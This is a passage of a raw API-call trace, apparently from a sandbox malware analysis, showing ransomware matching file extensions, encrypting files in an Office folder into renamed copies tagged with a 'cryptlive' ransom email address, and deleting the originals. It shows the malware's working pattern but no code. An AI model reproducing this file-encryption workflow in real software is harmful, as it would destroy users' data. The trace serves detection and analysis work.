(lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.482] lstrlenW (lpString=".doc") returned 4 [0149.482] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0149.482] lstrlenW (lpString=".docx") returned 5 [0149.482] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0149.482] lstrlenW (lpString=".pdf") returned 4 [0149.482] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0149.482] lstrlenW (lpString=".xls") returned 4 [0149.482] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0149.482] lstrlenW (lpString=".xlsx") returned 5 [0149.482] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0149.482] lstrlenW (lpString=".ppt") returned 4 [0149.482] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0149.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.482] lstrlenW (lpString=".zip") returned 4 [0149.482] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0149.482] lstrlenW (lpString=".rar") returned 4 [0149.482] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0149.482] lstrlenW (lpString=".bz2") returned 4 [0149.483] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".7z") returned 3 [0149.483] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.483] lstrlenW (lpString=".dbf") returned 4 [0149.483] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.483] lstrlenW (lpString=".1cd") returned 4 [0149.483] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.483] lstrlenW (lpString=".jpg") returned 4 [0149.483] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.483] lstrlenW (lpString=".doc") returned 4 [0149.483] lstrcmpiW (lpString1=".doc", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".docx") returned 5 [0149.483] lstrcmpiW (lpString1=".docx", lpString2="O.ACL") returned -1 [0149.483] lstrlenW (lpString=".pdf") returned 4 [0149.483] lstrcmpiW (lpString1=".pdf", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".xls") returned 4 [0149.483] lstrcmpiW (lpString1=".xls", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".xlsx") returned 5 [0149.483] lstrcmpiW (lpString1=".xlsx", lpString2="O.ACL") returned -1 [0149.483] lstrlenW (lpString=".ppt") returned 4 [0149.483] lstrcmpiW (lpString1=".ppt", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.483] lstrlenW (lpString=".zip") returned 4 [0149.483] lstrcmpiW (lpString1=".zip", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".rar") returned 4 [0149.483] lstrcmpiW (lpString1=".rar", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".bz2") returned 4 [0149.483] lstrcmpiW (lpString1=".bz2", lpString2=".ACL") returned 1 [0149.483] lstrlenW (lpString=".7z") returned 3 [0149.483] lstrcmpiW (lpString1=".7z", lpString2="ACL") returned -1 [0149.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.484] lstrlenW (lpString=".dbf") returned 4 [0149.484] lstrcmpiW (lpString1=".dbf", lpString2=".ACL") returned 1 [0149.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.484] lstrlenW (lpString=".1cd") returned 4 [0149.484] lstrcmpiW (lpString1=".1cd", lpString2=".ACL") returned -1 [0149.484] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\3082\\MSO.ACL") returned 55 [0149.484] lstrlenW (lpString=".jpg") returned 4 [0149.484] lstrcmpiW (lpString1=".jpg", lpString2=".ACL") returned 1 [0149.484] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.484] lstrlenW (lpString="ACCWIZ.DLL") returned 10 [0149.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.745] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=210304) returned 1 [0149.745] CloseHandle (hObject=0x3b0) returned 1 [0149.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll")) returned 0x20 [0149.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.747] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\accwiz.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.747] lstrlenW (lpString=".doc") returned 4 [0149.747] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.747] lstrlenW (lpString=".docx") returned 5 [0149.747] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0149.747] lstrlenW (lpString=".pdf") returned 4 [0149.747] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.747] lstrlenW (lpString=".xls") returned 4 [0149.747] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.748] lstrlenW (lpString=".xlsx") returned 5 [0149.748] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0149.748] lstrlenW (lpString=".ppt") returned 4 [0149.748] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.748] lstrlenW (lpString=".zip") returned 4 [0149.748] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.748] lstrlenW (lpString=".rar") returned 4 [0149.748] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.748] lstrlenW (lpString=".bz2") returned 4 [0149.748] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.748] lstrlenW (lpString=".7z") returned 3 [0149.748] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.748] lstrlenW (lpString=".dbf") returned 4 [0149.748] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.748] lstrlenW (lpString=".1cd") returned 4 [0149.748] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.748] lstrlenW (lpString=".jpg") returned 4 [0149.748] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.748] lstrlenW (lpString=".doc") returned 4 [0149.748] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.748] lstrlenW (lpString=".docx") returned 5 [0149.749] lstrcmpiW (lpString1=".docx", lpString2="Z.DLL") returned -1 [0149.749] lstrlenW (lpString=".pdf") returned 4 [0149.749] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.751] lstrlenW (lpString=".xls") returned 4 [0149.751] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.751] lstrlenW (lpString=".xlsx") returned 5 [0149.751] lstrcmpiW (lpString1=".xlsx", lpString2="Z.DLL") returned -1 [0149.751] lstrlenW (lpString=".ppt") returned 4 [0149.751] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.751] lstrlenW (lpString=".zip") returned 4 [0149.751] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.751] lstrlenW (lpString=".rar") returned 4 [0149.751] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.751] lstrlenW (lpString=".bz2") returned 4 [0149.751] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.751] lstrlenW (lpString=".7z") returned 3 [0149.751] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.751] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.751] lstrlenW (lpString=".dbf") returned 4 [0149.752] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.752] lstrlenW (lpString=".1cd") returned 4 [0149.752] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ.DLL") returned 53 [0149.752] lstrlenW (lpString=".jpg") returned 4 [0149.752] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.752] lstrcmpiW (lpString1=".ECF", lpString2=".LIVE") returned -1 [0149.752] lstrlenW (lpString="MSSPC.ECF") returned 9 [0149.752] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.753] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=778) returned 1 [0149.753] CloseHandle (hObject=0x3b0) returned 1 [0149.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 0x20 [0149.753] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0149.753] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.753] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0149.764] GetLastError () returned 0x0 [0149.764] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x30a, lpOverlapped=0x0) returned 1 [0149.767] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x310, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x310, lpOverlapped=0x0) returned 1 [0149.768] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.768] WriteFile (in: hFile=0x3d4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0149.768] SetEndOfFile (hFile=0x3d4) returned 1 [0149.768] CloseHandle (hObject=0x3d4) returned 1 [0149.768] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.769] SetEndOfFile (hFile=0x3b0) returned 1 [0149.780] CloseHandle (hObject=0x3b0) returned 1 [0149.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.786] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF" (normalized: "c:\\program files\\microsoft office\\office14\\addins\\msspc.ecf")) returned 1 [0149.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.830] lstrlenW (lpString=".doc") returned 4 [0149.830] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.831] lstrlenW (lpString=".docx") returned 5 [0149.831] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0149.831] lstrlenW (lpString=".pdf") returned 4 [0149.831] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.831] lstrlenW (lpString=".xls") returned 4 [0149.831] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.831] lstrlenW (lpString=".xlsx") returned 5 [0149.831] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0149.831] lstrlenW (lpString=".ppt") returned 4 [0149.831] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.831] lstrlenW (lpString=".zip") returned 4 [0149.831] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.831] lstrlenW (lpString=".rar") returned 4 [0149.831] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.831] lstrlenW (lpString=".bz2") returned 4 [0149.831] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.831] lstrlenW (lpString=".7z") returned 3 [0149.831] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.831] lstrlenW (lpString=".dbf") returned 4 [0149.831] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.831] lstrlenW (lpString=".1cd") returned 4 [0149.831] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.831] lstrlenW (lpString=".jpg") returned 4 [0149.831] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.831] lstrlenW (lpString=".doc") returned 4 [0149.831] lstrcmpiW (lpString1=".doc", lpString2=".ECF") returned -1 [0149.831] lstrlenW (lpString=".docx") returned 5 [0149.831] lstrcmpiW (lpString1=".docx", lpString2="C.ECF") returned -1 [0149.831] lstrlenW (lpString=".pdf") returned 4 [0149.832] lstrcmpiW (lpString1=".pdf", lpString2=".ECF") returned 1 [0149.832] lstrlenW (lpString=".xls") returned 4 [0149.832] lstrcmpiW (lpString1=".xls", lpString2=".ECF") returned 1 [0149.832] lstrlenW (lpString=".xlsx") returned 5 [0149.832] lstrcmpiW (lpString1=".xlsx", lpString2="C.ECF") returned -1 [0149.832] lstrlenW (lpString=".ppt") returned 4 [0149.832] lstrcmpiW (lpString1=".ppt", lpString2=".ECF") returned 1 [0149.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.832] lstrlenW (lpString=".zip") returned 4 [0149.832] lstrcmpiW (lpString1=".zip", lpString2=".ECF") returned 1 [0149.832] lstrlenW (lpString=".rar") returned 4 [0149.832] lstrcmpiW (lpString1=".rar", lpString2=".ECF") returned 1 [0149.832] lstrlenW (lpString=".bz2") returned 4 [0149.832] lstrcmpiW (lpString1=".bz2", lpString2=".ECF") returned -1 [0149.832] lstrlenW (lpString=".7z") returned 3 [0149.832] lstrcmpiW (lpString1=".7z", lpString2="ECF") returned -1 [0149.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.832] lstrlenW (lpString=".dbf") returned 4 [0149.832] lstrcmpiW (lpString1=".dbf", lpString2=".ECF") returned -1 [0149.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.832] lstrlenW (lpString=".1cd") returned 4 [0149.832] lstrcmpiW (lpString1=".1cd", lpString2=".ECF") returned -1 [0149.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS\\MSSPC.ECF") returned 59 [0149.832] lstrlenW (lpString=".jpg") returned 4 [0149.832] lstrcmpiW (lpString1=".jpg", lpString2=".ECF") returned 1 [0149.832] lstrcmpiW (lpString1=".LNG", lpString2=".LIVE") returned 1 [0149.832] lstrlenW (lpString="ASCIIENG.LNG") returned 12 [0149.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.851] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=286848) returned 1 [0149.851] CloseHandle (hObject=0x380) returned 1 [0149.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 0x20 [0149.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0149.886] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.886] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.981] GetLastError () returned 0x0 [0149.981] ReadFile (in: hFile=0x1dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x46080, lpOverlapped=0x0) returned 1 [0150.031] WriteFile (in: hFile=0x3a0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x46090, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x46090, lpOverlapped=0x0) returned 1 [0150.037] ReadFile (in: hFile=0x1dc, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.037] WriteFile (in: hFile=0x3a0, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.037] SetEndOfFile (hFile=0x3a0) returned 1 [0150.046] CloseHandle (hObject=0x3a0) returned 1 [0150.046] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.046] SetEndOfFile (hFile=0x1dc) returned 1 [0150.053] CloseHandle (hObject=0x1dc) returned 1 [0150.054] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG" (normalized: "c:\\program files\\microsoft office\\office14\\asciieng.lng")) returned 1 [0150.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString=".doc") returned 4 [0150.180] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0150.180] lstrlenW (lpString=".docx") returned 5 [0150.180] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0150.180] lstrlenW (lpString=".pdf") returned 4 [0150.180] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0150.180] lstrlenW (lpString=".xls") returned 4 [0150.180] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0150.180] lstrlenW (lpString=".xlsx") returned 5 [0150.180] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0150.180] lstrlenW (lpString=".ppt") returned 4 [0150.180] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0150.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString=".zip") returned 4 [0150.180] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0150.180] lstrlenW (lpString=".rar") returned 4 [0150.180] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0150.180] lstrlenW (lpString=".bz2") returned 4 [0150.180] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0150.180] lstrlenW (lpString=".7z") returned 3 [0150.180] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0150.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString=".dbf") returned 4 [0150.180] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0150.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString=".1cd") returned 4 [0150.180] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0150.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString=".jpg") returned 4 [0150.180] lstrcmpiW (lpString1=".jpg", lpString2=".LNG") returned -1 [0150.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.180] lstrlenW (lpString=".doc") returned 4 [0150.180] lstrcmpiW (lpString1=".doc", lpString2=".LNG") returned -1 [0150.180] lstrlenW (lpString=".docx") returned 5 [0150.180] lstrcmpiW (lpString1=".docx", lpString2="G.LNG") returned -1 [0150.181] lstrlenW (lpString=".pdf") returned 4 [0150.181] lstrcmpiW (lpString1=".pdf", lpString2=".LNG") returned 1 [0150.181] lstrlenW (lpString=".xls") returned 4 [0150.181] lstrcmpiW (lpString1=".xls", lpString2=".LNG") returned 1 [0150.181] lstrlenW (lpString=".xlsx") returned 5 [0150.181] lstrcmpiW (lpString1=".xlsx", lpString2="G.LNG") returned -1 [0150.181] lstrlenW (lpString=".ppt") returned 4 [0150.181] lstrcmpiW (lpString1=".ppt", lpString2=".LNG") returned 1 [0150.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.181] lstrlenW (lpString=".zip") returned 4 [0150.181] lstrcmpiW (lpString1=".zip", lpString2=".LNG") returned 1 [0150.181] lstrlenW (lpString=".rar") returned 4 [0150.181] lstrcmpiW (lpString1=".rar", lpString2=".LNG") returned 1 [0150.181] lstrlenW (lpString=".bz2") returned 4 [0150.181] lstrcmpiW (lpString1=".bz2", lpString2=".LNG") returned -1 [0150.181] lstrlenW (lpString=".7z") returned 3 [0150.181] lstrcmpiW (lpString1=".7z", lpString2="LNG") returned -1 [0150.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.181] lstrlenW (lpString=".dbf") returned 4 [0150.181] lstrcmpiW (lpString1=".dbf", lpString2=".LNG") returned -1 [0150.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.181] lstrlenW (lpString=".1cd") returned 4 [0150.181] lstrcmpiW (lpString1=".1cd", lpString2=".LNG") returned -1 [0150.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\ASCIIENG.LNG") returned 55 [0150.181] lstrlenW (lpString=".jpg") returned 4 [0150.181] 